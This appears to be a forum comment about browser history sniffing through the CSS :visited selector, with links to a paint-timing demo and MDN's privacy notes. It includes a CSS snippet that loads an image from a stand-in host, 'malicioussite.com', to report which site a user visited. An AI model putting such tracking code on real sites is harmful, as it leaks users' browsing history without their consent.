Browser people quickly realized the intrusive potential of this "feature" and disabled getting the visited status of a link.
a[href="https://foouniversity.edu/bookstore/"]:visited::after {
content: url(https://malicioussite.com/fingerprintme.png?wentto=foouniversity);
}
Not 100% sure if browsers block this (they probably can, or otherwise definitely should!) via cross-origin policies or whatever, but if you control the site that the links are on then you can set the cross-origin policy yourself, without any need of a hidden iframe or similar things that are 'obviously scary' to safety-conscious Chromium browsers.
This isn't just something I made up either:
Since browsers don't allow websites to detect the link colour, we can just trick the user into telling it for us.
After posting that, I got some emails from others, and someone shared a cool technique involving detecting how long it takes to paint the link to the screen. https://ndev.tk/visted/
It detected HN and other sites.
Disabling javascript saves the day again?
EDIT: https://developer.mozilla.org/en-US/docs/Web/CSS/Privacy_and...